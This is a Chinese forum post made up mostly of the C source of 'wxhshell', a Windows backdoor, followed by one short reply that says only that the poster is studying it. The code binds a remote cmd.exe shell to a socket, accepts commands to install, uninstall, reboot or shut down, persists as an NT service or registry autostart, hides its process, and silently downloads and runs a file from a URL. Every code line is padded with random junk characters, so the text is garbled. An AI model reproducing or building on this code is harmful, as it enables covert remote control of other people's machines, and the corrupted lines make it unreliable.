  if(DownloadFile(cmd,wsh)) f[%\LHq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &vdGKYs 6  
  else p7zHP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mgcq'{[~Y=  
  } ,0lRs   
  else { YCw^u  
MZv&$KG4m@  
    switch(cmd[0]) { t8]u#bx"?  
  oo- ^BG  
  // 帮助 h-lMrI)U?h  
  case '?': { YDs/BF Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cS QUK  
    break; W 86S)+h  
  } 'qQ DM_+  
  // 安装 !Aunwq^  
  case 'i': { ?D57HCd`n  
    if(Install()) \m5:~,p=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <C# s0UX  
    else 1PLKcU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~z32%k  
    break; jqb,^T|j;m  
    } Zu&trxnNf[  
  // 卸载 xhg{!w  
  case 'r': { .7~Kfm@2  
    if(Uninstall()) U:_T9!fG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9dqD(S#C;"  
    else 2=F_<Jh|+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -}4H'%Z(i  
    break; Yk?ux Z4)H  
    } e!eWwC9u  
  // 显示 wxhshell 所在路径 rLh490@  
  case 'p': { cX *  
    char svExeFile[MAX_PATH]; "pMXTRb  
    strcpy(svExeFile,"\n\r"); la|#SS95  
      strcat(svExeFile,ExeFile); =E4nNL?  
        send(wsh,svExeFile,strlen(svExeFile),0); 3,N7Nfe  
    break; >tib21*  
    } !l.Rv_o<O  
  // 重启 sE>'~ +1_O  
  case 'b': { d@8_?G}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WYEvW<Hv  
    if(Boot(REBOOT)) 3i35F.=X,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^]E| >~\  
    else { /*r MveT  
    closesocket(wsh); FCqs'  
    ExitThread(0); Pbm ;@ V  
    } Wd~}O<"  
    break; 9FPl  
    } s_D7?o  
  // 关机 K8284A8v  
  case 'd': { FY#`]124*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }@ 1LFZx  
    if(Boot(SHUTDOWN)) GbB&kE3KP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6kIq6rWF9  
    else { t MA  
    closesocket(wsh); IQ2<Pinv  
    ExitThread(0); ELY$ ]^T  
    } ',juZ[]_ {  
    break; mI0| lp 1$  
    } -J? df  
  // 获取shell G=yQYsC$  
  case 's': { BtU,1`El5  
    CmdShell(wsh); r~t&;yRv  
    closesocket(wsh); 4XX21<yn  
    ExitThread(0); M7jDV|Go  
    break; R8":1 #&  
  } mN@0lfk;  
  // 退出 :*}tkr4&eh  
  case 'x': { V :d/;~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hDmVv;M:  
    CloseIt(wsh); ='soSnT  
    break; AbcLHV.  
    } J0o U5d=3  
  // 离开 _ogT(uYyr  
  case 'q': { 60X B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;&JMBn]J  
    closesocket(wsh); #i)h0ML/e  
    WSACleanup(); :,GsbNKW  
    exit(1); nM R _ ?g  
    break; !aLByMA  
        } '|WMt g  
  } $t}L|"=8X  
  } 8&`s wu&  
xo^_;(;  
  // 提示信息 (Ca\$p7/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); joM98H@  
} K;[V`)d'  
  } fFSW\4JD=  
Jc{zi^)(EN  
  return; 8)R )h/E>  
} (">!vz  
<C CEqY 4  
// shell模块句柄 xA&G91|s  
int CmdShell(SOCKET sock) :hxfd b-  
{ f$(w>B7..  
STARTUPINFO si; .>CqZN,^  
ZeroMemory(&si,sizeof(si)); {&K#~[)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [Hn+r &  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (CuaBHR  
PROCESS_INFORMATION ProcessInfo; ^IQC:2 1  
char cmdline[]="cmd"; mnu7Y([2>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E37`g}ZS  
  return 0; D5AKOM!`  
} nSd?P'PFg  
X)~JX}-L  
// 自身启动模式 ly, d =  
int StartFromService(void) 27,WP-qie  
{ U R@'J@V#:  
typedef struct -*?a*q/#nQ  
{ ,$}v_-:[l  
  DWORD ExitStatus; $lV0TCgba8  
  DWORD PebBaseAddress; \>,{)j q;  
  DWORD AffinityMask; 7 F+w o  
  DWORD BasePriority; = @ph  
  ULONG UniqueProcessId; m0=CD  
  ULONG InheritedFromUniqueProcessId; N'2u`br4KP  
}   PROCESS_BASIC_INFORMATION; fa<83<.D  
nX?fj<oR|  
PROCNTQSIP NtQueryInformationProcess; I?F^c6M=  
3~Ipcr B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %li'j|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !f7}5/YC7v  
7/aJ?:gX  
  HANDLE             hProcess; q;B-np?U  
  PROCESS_BASIC_INFORMATION pbi; Y\9uR!0  
TS=p8@w}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6Y}#vZ  
  if(NULL == hInst ) return 0; 2psLX  
LZ\}Kgi(!T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qx`*]lX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,Sz*]X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  /H!I90  
q/%f2U%4:  
  if (!NtQueryInformationProcess) return 0; 6S`eN\s  
9^Wj<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8 wC3}U  
  if(!hProcess) return 0; pN%L3?2  
>rYP}k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]u2! )vZh'  
h-jea1m  
  CloseHandle(hProcess); G4<'G c  
;QgJw2G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =b9?r  
if(hProcess==NULL) return 0; wU+ofj; +I  
!;iySRZr  
HMODULE hMod; skZxR5v3~L  
char procName[255]; WnHf)(J`"  
unsigned long cbNeeded; c&F"tLl  
>@y5R^B`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,v)@&1Wh:  
(*"R"Y  
  CloseHandle(hProcess); &XgB-}^:  
,{:5Z:<|  
if(strstr(procName,"services")) return 1; // 以服务启动 =b !f  
5:56l>0  
  return 0; // 注册表启动 qZA?M=NT?  
} Ibpk\a?A{  
G9}[g)R*  
// 主模块 /r}t  
int StartWxhshell(LPSTR lpCmdLine) E!3W_:Bs  
{ - n11L  
  SOCKET wsl; n%Nf\z  
BOOL val=TRUE; a.c2ScXG  
  int port=0; ]6$NU [  
  struct sockaddr_in door; r=qb[4HiV  
yuKfhg7  
  if(wscfg.ws_autoins) Install(); R.> /%o  
g-')|0py  
port=atoi(lpCmdLine); { -<h5_h@  
<7)Vj*VxC  
if(port<=0) port=wscfg.ws_port; [ &R-YQ@  
t{84ioJ"$  
  WSADATA data; hDVD@b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <\Y>y+$3  
p~=%CG^5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }$m_):t@@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _!w# {5~  
  door.sin_family = AF_INET; 1z[WJ}$u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6RzTSb  
  door.sin_port = htons(port); S/7D}hJ  
vbFY}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8+gSn  
closesocket(wsl); G ytI_an8  
return 1; > -k$:[l  
} \ m 2[  
97$y,a{6  
  if(listen(wsl,2) == INVALID_SOCKET) { ^B]M- XG  
closesocket(wsl); inR8m 4c]P  
return 1; hQHV]xW  
} h2uO+qEsu  
  Wxhshell(wsl); x?Q;o+2v  
  WSACleanup(); jY$|_o.4  
-41L^Di\  
return 0; .}a@OLJd  
)+\e+Ad}H  
} MO/l(wO  
L`];i8=I  
// 以NT服务方式启动 c5O1h8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NIV&)`w  
{ 4my8 p Fk  
DWORD   status = 0; Sy8o/-  
  DWORD   specificError = 0xfffffff; 5+,&9;'Y^  
qK(? \ t$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S }fIZ1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6=|Q>[K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @8V8gV? zm  
  serviceStatus.dwWin32ExitCode     = 0; Z>Sv[Ec  
  serviceStatus.dwServiceSpecificExitCode = 0; 2+y4Gd 7  
  serviceStatus.dwCheckPoint       = 0; RZDZ3W(;h  
  serviceStatus.dwWaitHint       = 0; 8FbBv"LI,g  
%H%>6z x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^H&6'A`  
  if (hServiceStatusHandle==0) return; ]9b*!n<z  
H( cY=d,  
status = GetLastError(); #?8'Z/1 )  
  if (status!=NO_ERROR) [.3M>,)+-  
{ .,tf[w 71  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +F+jC9j(<  
    serviceStatus.dwCheckPoint       = 0; ]sbu9O ^"f  
    serviceStatus.dwWaitHint       = 0; #[Ns\%Ri0  
    serviceStatus.dwWin32ExitCode     = status; kO/dZ%vj  
    serviceStatus.dwServiceSpecificExitCode = specificError; Av+R~&h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O% 9~1_  
    return; 97<Y. 0  
  } w[]7{ D];  
+O\6p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1gCp/m2r7  
  serviceStatus.dwCheckPoint       = 0; ' 71D:%p  
  serviceStatus.dwWaitHint       = 0; qItj`F)d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kj+AsQC ,  
} umD .  
C2DNyMu  
// 处理NT服务事件,比如:启动、停止 W}JJaZR*X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !k%Vw1 8  
{ hM+nA::w  
switch(fdwControl) s )_sLt8?  
{ bzB9u&  
case SERVICE_CONTROL_STOP: @I_ A(cr  
  serviceStatus.dwWin32ExitCode = 0; Etn]e;z4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !K6:W1  
  serviceStatus.dwCheckPoint   = 0; ]Alu~Dw  
  serviceStatus.dwWaitHint     = 0; # Wh"_zpM+  
  { gp(w6 :w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S(/@.gI:f  
  } *|hICTWL  
  return; \XmtSfFC  
case SERVICE_CONTROL_PAUSE: d4A}BTs1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6t*=.b,N  
  break; Q:@Y/4=  
case SERVICE_CONTROL_CONTINUE: va#~ \%`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %qN8u Qx  
  break;  EMJio\  
case SERVICE_CONTROL_INTERROGATE: GawLQst[+  
  break; ZLo3 0*  
}; sveFxI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tA'i-D&  
} <>2QDI6_  
h`Y t4-Y  
// 标准应用程序主函数 ?Yz.tg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fda<cS]  
{ )lH?XpfTjm  
5.5dB2w  
// 获取操作系统版本 w;{k\=W3Ff  
OsIsNt=GetOsVer(); zg|yW6l)9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9;JU c0%  
qlDLZ.  
  // 从命令行安装 pOw4H67  
  if(strpbrk(lpCmdLine,"iI")) Install(); }]tSWVb*  
{s_0[>  
  // 下载执行文件 b!_l(2  
if(wscfg.ws_downexe) { Awe\KJ^`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WET $H,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5%,n[qj4IT  
} !)_5z<  
l,sYYU+iY  
if(!OsIsNt) { $F\&?B1.  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Sxy!gGz%%  
HideProc(); \h _hd%'G  
StartWxhshell(lpCmdLine); ${e(#bvGZ  
} tHhY1[A8m  
else 9$S2:2(G  
  if(StartFromService()) 0*q~(.>a  
  // 以服务方式启动 @AVx4,!>[  
  StartServiceCtrlDispatcher(DispatchTable); VJuPC  
else T73saeN  
  // 普通方式启动 xI_WkoI  
  StartWxhshell(lpCmdLine); /rJvw   
9.PY49|  
return 0; ;41s&~eR  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五